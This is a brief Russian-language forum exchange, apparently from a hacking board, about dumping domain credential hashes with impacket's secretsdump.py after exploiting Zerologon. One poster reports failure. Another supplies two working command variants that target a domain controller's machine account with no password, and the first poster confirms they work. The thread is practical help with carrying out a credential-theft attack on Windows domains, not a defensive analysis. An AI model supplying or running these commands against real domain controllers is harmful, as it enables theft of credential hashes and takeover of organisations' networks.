PrivEsc Zerologon и снятие хэшей

[50cent]

При успешной эксплуатации не могу снять хэши через impacket secretsdump.py -just-dc-ntlm -no-pass (неправильные креды). Локально все отрабатывает как нужно. В чем может быть проблема?

 

[drug_v2]

secretsdump.py -no-pass -just-dc DOMAIN/PC\$@IP
secretsdump.py -no-pass -just-dc DOMAIN/'PC$'@IP

пробуй

 

[50cent]

Я пробовал различные вариации, подставляя домен или воркгрупу. Сейчас опять протестировал и все получилось.